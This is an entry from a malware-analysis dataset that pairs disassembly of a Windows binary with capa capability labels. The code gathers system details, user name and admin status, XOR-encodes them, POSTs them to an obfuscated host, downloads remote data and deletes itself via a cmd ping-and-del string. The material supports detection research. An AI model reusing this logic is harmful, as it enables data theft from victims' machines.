joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Check os version

Disassembly:
mov eax, dword [0x412008]
sub esp, 0xa0
xor eax, esp
mov dword [esp + 0x9c], eax
push 0x98
lea eax, [esp + 8]
push 0
push eax
call fcn.00406b00
sub esp, 0xfffffff4
lea ecx, [esp]
push ecx
mov dword [esp + 4], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
or eax, eax
jne 0x401053
mov ecx, dword [esp + 0x9c]
xor ecx, esp
call fcn.004033e4
add esp, 0xa0
ret
mov eax, dword [esp + 4]
cmp eax, 6
jne 0x4010e1
mov eax, dword [esp + 8]
test eax, eax
jne 0x40108c
cmp byte [esp + 0x9a], 1
setne al
mov ecx, dword [esp + 0x9c]
xor ecx, esp
lea eax, [eax + eax + 4]
call fcn.004033e4
add esp, 0xa0
ret
cmp eax, 1
jne 0x4010b7
xor eax, eax
cmp byte [esp + 0x9a], 1
mov ecx, dword [esp + 0x9c]
setne al
xor ecx, esp
lea eax, [eax + eax + 5]
call fcn.004033e4
add esp, 0xa0
ret
cmp eax, 2
jne 0x401131
xor eax, eax
cmp byte [esp + 0x9a], 1
setne al
add eax, 8
mov ecx, dword [esp + 0x9c]
xor ecx, esp
call fcn.004033e4
sub esp, 0xffffff60
ret
cmp eax, 5
jne 0x401131
mov eax, dword [esp + 8]
cmp eax, 2
jne 0x401109
mov eax, 3
mov ecx, dword [esp + 0x9c]
xor ecx, esp
call fcn.004033e4
add esp, 0xa0
ret
cmp eax, 1
jne 0x401128
mov ecx, dword [esp + 0x9c]
mov eax, 2
xor ecx, esp
call fcn.004033e4
add esp, 0xa0
ret
test eax, eax
jne 0x401131
mov eax, 1
mov ecx, dword [esp + 0x9c]
xor ecx, esp
call fcn.004033e4
add esp, 0xa0
ret

Function at 0x401170
Capabilities:
Get disk information

Disassembly:
sub esp, 0x810
mov eax, dword [0x412008]
xor eax, esp
mov dword [esp + 0x80c], eax
push ebx
push 0x3ff
lea eax, [esp + 0x415]
xor ebx, ebx
push ebx
push eax
mov byte [esp + 0x41c], bl
call fcn.00406b00
push 0x3ff
lea ecx, [esp + 0x21]
push ebx
push ecx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov byte [esp + 0x28], bl
call fcn.00406b00
add esp, 0x18
push 0x400
lea eax, [esp + 0x14]
push eax
lea ebx, [esp + 0x14]
push ebx
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x14]
push edx
push 0x400
lea eax, [esp + 0x428]
push eax
push 0x410470
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ecx, dword [esp + 0x810]
neg eax
sbb eax, eax
and eax, dword [esp + 4]
pop ebx
xor ecx, esp
call fcn.004033e4
add esp, 0x810
ret
Function at 0x4018e0
Capabilities:
Connect to http server
Send data
Send http request

Disassembly:
sub esp, 8
mov eax, dword [0x412008]
xor eax, esp
mov dword [esp + 4], eax
mov eax, dword [esp + 0xc]
push ebx
push ebp
mov ebp, dword [esp + 0x1c]
push edi
push esi
mov edi, ecx
push 0xfa
mov dword [esp + 0x14], eax
call fcn.00403aef
add esp, 4
mov ebx, eax
test ebx, ebx
je 0x401a54
push 0xfa
push 0
push ebx
call fcn.00406b00
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push ebp
push edi
push 0x414560
push ebx
call fcn.004033f3
mov esi, dword [esp + 0x34]
add esi, 0x18
push esi
call fcn.00403aef
mov edi, eax
add esp, 0x18
test edi, edi
je 0x401a45
mov dword [edi], ebp
mov dword [edi + 4], esi
mov eax, dword [0x414764]
mov dword [edi + 8], eax
mov ebp, dword [0x414768]
mov dword [edi + 0xc], ebp
mov eax, dword [0x41476c]
mov edx, dword [esp + 0x20]
mov dword [edi + 0x10], eax
mov ecx, dword [0x414770]
mov eax, dword [esp + 0x10]
push edx
mov dword [edi + 0x14], ecx
lea ecx, [edi + 0x18]
push eax
push ecx
call fcn.004090e0
add esp, 0xc
xor ecx, ecx
test esi, esi
jle 0x4019b5
lea esp, [esp]
mov al, byte [ecx + edi]
test al, al
je 0x4019b0
cmp al, 0x59
je 0x4019b0
xor al, 0x59
mov byte [ecx + edi], al
inc ecx
cmp ecx, esi
jl 0x4019a0
mov edx, dword [str.___x9:7__9_3x59_]
mov eax, dword [0x414798]
push 0
push 0
push 3
push 0
push 0
push 0x50
push edx
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
test eax, eax
mov dword [esp + 0x10], eax
je 0x401a45
push 0
push 0x100
push 0
push 0
push str.HTTP_1.1
push ebx
push str.POST
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov ebp, eax
test ebp, ebp
je 0x401a49
push esi
push edi
push 0
push 0
push ebp
call dword [sym.imp.WININET.dll_HttpSendRequestA]
cmp eax, 1
jne 0x401a49
push ebx
call fcn.00403a12
push edi
call fcn.00403a12
mov ecx, dword [esp + 0x18]
add esp, 8
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ecx
call esi
push ebp
call esi
pop esi
mov al, 1
pop edi
pop ebp
pop ebx
mov ecx, dword [esp + 4]
xor ecx, esp
call fcn.004033e4
add esp, 8
ret
mov ebp, dword [esp + 0x10]
push ebx
call fcn.00403a12
add esp, 4
jmp 0x401a5c
mov ebp, dword [esp + 0x10]
mov edi, dword [esp + 0x10]
test edi, edi
je 0x401a69
push edi
call fcn.00403a12
add esp, 4
mov eax, dword [esp + 0x10]
test eax, eax
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
je 0x401a7a
push eax
call esi
test ebp, ebp
je 0x401a81
push ebp
call esi
mov ecx, dword [esp + 0x14]
pop esi
pop edi
pop ebp
pop ebx
xor ecx, esp
xor al, al
call fcn.004033e4
add esp, 8
ret
Function at 0x401aa0
Capabilities:
Read data from internet
Receive data

Disassembly:
sub esp, 0x134
mov eax, dword [0x412008]
xor eax, esp
mov dword [esp + 0x130], eax
push esi
push 0x12b
lea eax, [esp + 0xd]
push 0
push eax
mov byte [esp + 0x14], 0
call fcn.00406b00
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea ecx, [esp + 0xc]
push 0x414660
push ecx
call fcn.004033f3
add esp, 0xc
mov eax, dword [0x414798]
push 0
push 0x100
push 0
push 0
lea edx, [esp + 0x18]
push edx
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
or esi, esi
je 0x401b5a
mov edx, dword [0x41479c]
push ebx
lea ecx, [esp + 8]
push ecx
push 0xb00000
push edx
push esi
mov dword [esp + 0x18], 0
call dword [sym.imp.WININET.dll_InternetReadFile]
push esi
test eax, eax
setne bl
call dword [sym.imp.WININET.dll_InternetCloseHandle]
test bl, bl
pop ebx
je 0x401b5a
cmp dword [esp + 4], 0
je 0x401b5a
pop esi
mov ecx, dword [esp + 0x130]
xor ecx, esp
mov al, 1
call fcn.004033e4
add esp, 0x134
ret
mov ecx, dword [esp + 0x134]
pop esi
xor ecx, esp
xor al, al
call fcn.004033e4
sub esp, 0xfffffecc
ret

Function at 0x401b80
Capabilities:
Read data from internet
Receive data

Disassembly:
sub esp, 0x134
mov eax, dword [0x412008]
xor eax, esp
mov dword [esp + 0x130], eax
push ebp
push 0x12b
lea eax, [esp + 0xd]
push 0
push eax
mov byte [esp + 0x14], 0
call fcn.00406b00
sub esp, 0xfffffff4
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea ecx, [esp + 0xc]
push 0x414460
push ecx
call fcn.004033f3
mov eax, dword [0x414798]
sub esp, 0xfffffff4
push 0
push 0x100
push 0
push 0
lea edx, [esp + 0x18]
push edx
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ebp, eax
test ebp, ebp
jne 0x401bff
pop ebp
mov ecx, dword [esp + 0x130]
xor ecx, esp
call fcn.004033e4
add esp, 0x134
ret
push esi
mov esi, dword [0x41479c]
push 0xb00000
push 0
push esi
call fcn.00406b00
add esp, 0xc
lea ecx, [esp + 8]
push ecx
push 0xb00000
push esi
push ebp
mov dword [esp + 0x18], 0
call dword [sym.imp.WININET.dll_InternetReadFile]
or eax, eax
je 0x401c3c
mov eax, dword [esp + 8]
test eax, eax
jne 0x401c6d
push ebp
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [esp + 8]
test eax, eax
je 0x401c54
push eax
call fcn.00403a12
sub esp, 0xfffffffc
pop esi
xor eax, eax
pop ebp
mov ecx, dword [esp + 0x130]
xor ecx, esp
call fcn.004033e4
sub esp, 0xfffffecc
ret
push edi
push eax
call fcn.00403aef
mov esi, dword [esp + 0x10]
mov edx, dword [0x41479c]
push esi
mov edi, eax
push edx
push edi
call fcn.004090e0
add esp, 0x10
mov edx, edi
call fcn.004018c0
push ebp
mov dword [ebx], esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
call fcn.00401aa0
mov ecx, dword [esp + 0x13c]
mov eax, edi
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.004033e4
sub esp, 0xfffffecc
ret
Function at 0x402340
Capabilities:
Get session user name

Disassembly:
add esp, 0xfffffe1c
mov eax, dword [0x412008]
xor eax, esp
mov dword [esp + 0x1dc], eax
push 0x94
lea eax, [esp + 0x18]
push 0
push eax
mov dword [esp + 0x1c], 0
call fcn.00406b00
mov ecx, dword [str.___x9:7__9_3x59_]
sub esp, 0xfffffff4
mov edx, dword [ecx + 0x19c]
mov dword [esp + 0x14], edx
call fcn.00401000
mov dword [esp + 0x10], eax
call fcn.00402ab0
push 0
movzx eax, al
mov dword [esp + 0x1c], eax
call fcn.00404542
sub esp, 0xfffffffc
lea ecx, [esp + 8]
push ecx
add eax, 0x7080
mov dword [esp + 0xc], eax
adc edx, 0
mov dword [esp + 0x10], edx
call fcn.004039eb
mov ecx, dword [eax + 0x14]
mov dword [esp + 0x20], ecx
mov edx, dword [eax + 0x10]
inc edx
mov dword [esp + 0x24], edx
mov ecx, dword [eax + 0xc]
mov dword [esp + 0x28], ecx
mov ecx, dword [eax + 8]
mov dword [esp + 0x2c], ecx
mov edx, dword [eax + 4]
mov dword [esp + 0x30], edx
sub esp, 0xfffffffc
mov eax, dword [eax]
mov dword [esp + 0x30], eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x4023f7
mov eax, 1
jmp 0x402423
call fcn.00401000
cmp eax, 4
jge 0x402408
mov eax, 3
jmp 0x402423
call fcn.004031d0
cmp eax, 1
jne 0x402419
mov eax, 2
jmp 0x402423
neg eax
sbb eax, eax
and eax, 0xfffffffd
sub eax, 0xfffffffd
push 0x12b
lea ecx, [esp + 0xad]
push 0
push ecx
mov dword [esp + 0x40], eax
mov byte [esp + 0xb4], 0
call fcn.00406b00
add esp, 0xc
lea edx, [esp + 4]
push edx
lea eax, [esp + 0xac]
push eax
mov dword [esp + 0xc], 0x12c
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
or eax, eax
jne 0x402477
push 0x64
push eax
lea ecx, [esp + 0x40]
push ecx
call fcn.00406b00
add esp, 0xc
jmp 0x402493
lea edx, [esp + 0xa8]
push edx
lea eax, [esp + 0x3c]
mov byte [esp + 0xd4], 0
call fcn.00401780
add esp, 4
mov edx, dword [0x413198]
mov eax, dword [0x413190]
mov ecx, dword [0x413194]
push 0
mov dword [esp + 0xa0], eax
lea eax, [esp + 0x14]
mov dword [esp + 0xa4], ecx
mov ecx, 0x414774
push 0x98
push eax
mov dword [esp + 0xb0], edx
call fcn.004018e0
mov ecx, dword [esp + 0x1e8]
sub esp, 0xfffffff4
xor ecx, esp
call fcn.004033e4
sub esp, 0xfffffe1c
ret
Function at 0x402ab0
Capabilities:
Get common file path

Disassembly:
push ebp
mov eax, dword [0x412008]
mov ebp, esp
and esp, 0xfffffff8
add esp, 0xfffffdac
xor eax, esp
mov dword [esp + 0x250], eax
push ebx
push 0x103
xor ebx, ebx
lea eax, [esp + 0x14d]
push ebx
push eax
mov byte [esp + 0x154], bl
call fcn.00406b00
add esp, 0xc
push 0x104
lea ecx, [esp + 0x14c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov byte [esp + 0x14b], bl
lea eax, [esp + 0x148]
dec eax
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
cmp cl, bl
jne 0x402b10
mov edx, dword [str.Program_Files__x86_]
mov ecx, dword [0x4105c0]
mov dword [eax], edx
mov edx, dword [0x4105c4]
mov dword [eax + 4], ecx
mov ecx, dword [0x4105c8]
mov dword [eax + 8], edx
mov edx, dword [0x4105cc]
mov dword [eax + 0xc], ecx
mov dword [eax + 0x10], edx
lea eax, [esp + 8]
push eax
lea ecx, [esp + 0x14c]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
je 0x402b65
test byte [esp + 8], 0x10
je 0x402b65
mov bl, 1
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov al, bl
mov ecx, dword [esp + 0x254]
pop ebx
xor ecx, esp
call fcn.004033e4
mov esp, ebp
pop ebp
ret
Function at 0x4031d0
Capabilities:
Compare security identifiers

Disassembly:
mov eax, dword [0x412008]
sub esp, 0x20
xor eax, esp
mov dword [esp + 0x1c], eax
push edi
push ebx
push ebp
push esi
xor ebp, ebp
mov dword [esp + 0x10], ebp
mov dword [esp + 0x18], ebp
mov dword [esp + 0x1c], ebp
mov dword [esp + 0x20], ebp
mov byte [esp + 0x24], 0
mov byte [esp + 0x25], 0
mov byte [esp + 0x26], 0
mov byte [esp + 0x27], 0
mov byte [esp + 0x28], 0
mov byte [esp + 0x29], 5
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push ebp
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
cmp edi, ebp
mov dword [esp + 0x14], edi
je 0x4032f3
or esi, 0xffffffff
cmp edi, esi
je 0x4032f3
lea eax, [esp + 0x18]
push eax
push 0xf01ff
push edi
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
or eax, eax
jne 0x40325c
mov dword [esp + 0x10], esi
jmp 0x4032fb
lea ecx, [esp + 0x1c]
push ecx
push ebp
push ebp
push ebp
push ebp
push ebp
push ebp
push 0x220
push 0x20
push 2
lea edx, [esp + 0x4c]
push edx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
or eax, eax
jne 0x403285
mov dword [esp + 0x10], esi
jmp 0x4032fb
push 0x400
call fcn.00403aef
push 0x400
mov ebx, eax
push ebp
push ebx
call fcn.00406b00
mov ecx, dword [esp + 0x28]
sub esp, 0xfffffff0
lea eax, [esp + 0x20]
push eax
push 0x400
push ebx
push 2
push ecx
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov esi, dword [ebx]
cmp esi, ebp
jle 0x4032ff
lea edi, [ebx + 4]
mov eax, dword [esp + 0x1c]
mov edx, dword [edi]
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_EqualSid]
test eax, eax
jne 0x4032e3
inc ebp
sub edi, 0xfffffff8
cmp ebp, esi
jl 0x4032c1
mov edi, dword [esp + 0x14]
xor ebp, ebp
jmp 0x4032ff
mov edi, dword [esp + 0x14]
mov dword [esp + 0x10], 1
xor ebp, ebp
jmp 0x4032ff
mov dword [esp + 0x10], 0xffffffff
mov ebx, dword [esp + 0x14]
cmp ebx, ebp
je 0x40330c
push ebx
call fcn.00403a12
add esp, 4
mov eax, dword [esp + 0x1c]
cmp eax, ebp
je 0x40331b
push eax
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp edi, ebp
je 0x40332d
cmp edi, 0xffffffff
je 0x40332d
push edi
call esi
mov eax, dword [esp + 0x18]
cmp eax, ebp
je 0x40333d
cmp eax, 0xffffffff
je 0x40333d
push eax
call esi
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x2c]
pop esi
pop ebp
pop ebx
pop edi
xor ecx, esp
call fcn.004033e4
add esp, 0x20
ret
Function at 0x403360
Capabilities:
Create process on windows
Self delete
Terminate process

Disassembly:
add esp, 0xfffffeec
mov eax, dword [0x412008]
xor eax, esp
mov dword [esp + 0x110], eax
push 0x100
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov eax, dword [0x413a20]
push 0
push eax
push 1
push 4
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
mov ecx, dword [0x413a20]
push ecx
lea edx, [esp + 4]
push str._c_ping_127.0.0.1__del__q___s_
push edx
call fcn.004033f3
add esp, 0xc
push 0
push 0
lea eax, [esp + 8]
push eax
push str.cmd.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x4033e4
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x412008]
jne 0x4033ee
repz ret
jmp 0x404744
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x328
mov dword [0x413b48], eax
mov dword [0x413b44], ecx
mov dword [0x413b40], edx
mov dword [0x413b3c], ebx
mov dword [0x413b38], esi
mov dword [0x413b34], edi
mov word [0x413b60], ss
mov word [0x413b54], cs
mov word [0x413b30], ds
mov word [0x413b2c], es
mov word [0x413b28], fs
mov word [0x413b24], gs
pushfd
pop dword [0x413b58]
mov eax, dword [ebp]
mov dword [0x413b4c], eax
mov eax, dword [ebp + 4]
mov dword [0x413b50], eax
lea eax, [ebp + 8]
mov dword [0x413b5c], eax
mov eax, dword [ebp - 0x320]
mov dword [0x413a98], 0x10001
mov eax, dword [0x413b50]
mov dword [0x413a4c], eax
mov dword [0x413a40], 0xc0000409
mov dword [0x413a44], 1
mov eax, dword [0x412008]
mov dword [ebp - 0x328], eax
mov eax, dword [0x41200c]
mov dword [ebp - 0x324], eax
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x413a90], eax
push 1
call fcn.00409fa7
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
push 0x40f254
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x413a90], 0
jne 0x404836
push 1
call fcn.00409fa7
pop ecx
push 0xc0000409
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
leave
ret
Function at 0x403c94
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x10
mov ecx, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
xor edi, edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], ebx
cmp dword [ebp + 0x10], edi
je 0x403cd3
cmp dword [ebp + 0x14], edi
je 0x403cd3
cmp ecx, edi
jne 0x403cda
call fcn.00405812
push edi
push edi
push edi
push edi
mov dword [eax], 0x16
push edi
call fcn.004057aa
add esp, 0x14
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov esi, dword [ebp + 0x18]
cmp esi, edi
je 0x403cee
or eax, 0xffffffff
xor edx, edx
div dword [ebp + 0x10]
cmp dword [ebp + 0x14], eax
jbe 0x403d0f
cmp ebx, 0xffffffff
je 0x403cfe
push ebx
push edi
push ecx
call fcn.00406b00
add esp, 0xc
cmp esi, edi
je 0x403cbb
or eax, 0xffffffff
xor edx, edx
div dword [ebp + 0x10]
cmp dword [ebp + 0x14], eax
ja 0x403cbb
mov edi, dword [ebp + 0x10]
imul edi, dword [ebp + 0x14]
test dword [esi + 0xc], 0x10c
mov dword [ebp - 0x10], edi
mov ebx, edi
je 0x403d2c
mov eax, dword [esi + 0x18]
mov dword [ebp - 0xc], eax
jmp 0x403d33
mov dword [ebp - 0xc], 0x1000
or edi, edi
je 0x403e25
test dword [esi + 0xc], 0x10c
je 0x403d88
mov eax, dword [esi + 4]
or eax, eax
je 0x403d88
jl 0x403e86
mov edi, ebx
cmp ebx, eax
jb 0x403d59
mov edi, eax
cmp edi, dword [ebp - 4]
ja 0x403e2d
push edi
push dword [esi]
push dword [ebp - 4]
push dword [ebp - 8]
call fcn.004086bb
sub dword [esi + 4], edi
add dword [esi], edi
add dword [ebp - 8], edi
sub ebx, edi
add esp, 0x10
sub dword [ebp - 4], edi
mov edi, dword [ebp - 0x10]
jmp 0x403e1d
cmp ebx, dword [ebp - 0xc]
jb 0x403df5
cmp dword [ebp - 0xc], 0
je 0x403db2
mov ecx, 0x7fffffff
xor edx, edx
cmp ebx, ecx
jbe 0x403da7
mov eax, ecx
div dword [ebp - 0xc]
mov eax, ecx
jmp 0x403dae
mov eax, ebx
div dword [ebp - 0xc]
mov eax, ebx
sub eax, edx
jmp 0x403dbd
mov eax, 0x7fffffff
cmp ebx, eax
ja 0x403dbd
mov eax, ebx
cmp eax, dword [ebp - 4]
ja 0x403e59
push eax
push dword [ebp - 8]
push esi
call fcn.00408689
pop ecx
push eax
call fcn.0040858c
sub esp, 0xfffffff4
test eax, eax
je 0x403e98
cmp eax, 0xffffffff
je 0x403e86
add dword [ebp - 8], eax
sub ebx, eax
sub dword [ebp - 4], eax
jmp 0x403e1d
push esi
call fcn.00407e9f
pop ecx
cmp eax, 0xffffffff
je 0x403e8a
cmp dword [ebp - 4], 0
je 0x403e59
mov ecx, dword [ebp - 8]
inc dword [ebp - 8]
mov byte [ecx], al
mov eax, dword [esi + 0x18]
dec ebx
dec dword [ebp - 4]
mov dword [ebp - 0xc], eax
test ebx, ebx
jne 0x403d3b
mov eax, dword [ebp + 0x14]
jmp 0x403cd5
xor edi, edi
cmp dword [ebp + 0xc], 0xffffffff
je 0x403e44
push dword [ebp + 0xc]
push edi
push dword [ebp + 8]
call fcn.00406b00
sub esp, 0xfffffff4
call fcn.00405812
push edi
push edi
push edi
push edi
mov dword [eax], 0x22
push edi
jmp 0x403ccb
cmp dword [ebp + 0xc], 0xffffffff
je 0x403e6f
push dword [ebp + 0xc]
push 0
push dword [ebp + 8]
call fcn.00406b00
sub esp, 0xfffffff4
call fcn.00405812
mov dword [eax], 0x22
xor eax, eax
push eax
push eax
push eax
push eax
push eax
jmp 0x403ccb
or dword [esi + 0xc], 0x20
mov eax, edi
sub eax, ebx
xor edx, edx
div dword [ebp + 0x10]
jmp 0x403cd5
or dword [esi + 0xc], 0x10
jmp 0x403e8a
Function at 0x404744
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x412008]
jne 0x4033ee
repz ret
jmp 0x404744
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x328
mov dword [0x413b48], eax
mov dword [0x413b44], ecx
mov dword [0x413b40], edx
mov dword [0x413b3c], ebx
mov dword [0x413b38], esi
mov dword [0x413b34], edi
mov word [0x413b60], ss
mov word [0x413b54], cs
mov word [0x413b30], ds
mov word [0x413b2c], es
mov word [0x413b28], fs
mov word [0x413b24], gs
pushfd
pop dword [0x413b58]
mov eax, dword [ebp]
mov dword [0x413b4c], eax
mov eax, dword [ebp + 4]
mov dword [0x413b50], eax
lea eax, [ebp + 8]
mov dword [0x413b5c], eax
mov eax, dword [ebp - 0x320]
mov dword [0x413a98], 0x10001
mov eax, dword [0x413b50]
mov dword [0x413a4c], eax
mov dword [0x413a40], 0xc0000409
mov dword [0x413a44], 1
mov eax, dword [0x412008]
mov dword [ebp - 0x328], eax
mov eax, dword [0x41200c]
mov dword [ebp - 0x324], eax
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x413a90], eax
push 1
call fcn.00409fa7
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
push 0x40f254
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x413a90], 0
jne 0x404836
push 1
call fcn.00409fa7
pop ecx
push 0xc0000409
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
leave
ret

Function at 0x405682
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x412008]
mov edi, edi
sub esp, 0x328
xor eax, ebp
mov dword [ebp - 4], eax
and dword [ebp - 0x328], 0
lea eax, [ebp - 0x324]
push ebx
push 0x4c
push 0
push eax
call fcn.00406b00
sub esp, 0xfffffff4
lea eax, [ebp - 0x328]
mov dword [ebp - 0x2d8], eax
lea eax, [ebp - 0x2d0]
mov dword [ebp - 0x2d4], eax
mov dword [ebp - 0x220], eax
mov dword [ebp - 0x224], ecx
mov dword [ebp - 0x228], edx
mov dword [ebp - 0x22c], ebx
mov dword [ebp - 0x230], esi
mov dword [ebp - 0x234], edi
mov word [ebp - 0x208], ss
mov word [ebp - 0x214], cs
lea ecx, [ebp + 4]
mov word [ebp - 0x238], ds
mov word [ebp - 0x23c], es
mov word [ebp - 0x240], fs
mov word [ebp - 0x244], gs
pushfd
pop dword [ebp - 0x210]
mov eax, dword [ebp + 4]
mov dword [ebp - 0x2d0], 0x10001
mov dword [ebp - 0x218], eax
mov dword [ebp - 0x20c], ecx
mov ecx, dword [ecx - 4]
mov dword [ebp - 0x21c], ecx
mov dword [ebp - 0x328], 0xc0000417
mov dword [ebp - 0x324], 1
mov dword [ebp - 0x31c], eax
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov ebx, eax
push 0
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea eax, [ebp - 0x2d8]
push eax
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
or eax, eax
jne 0x40578b
test ebx, ebx
jne 0x40578b
push 2
call fcn.00409fa7
pop ecx
push 0xc0000417
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.004033e4
leave
ret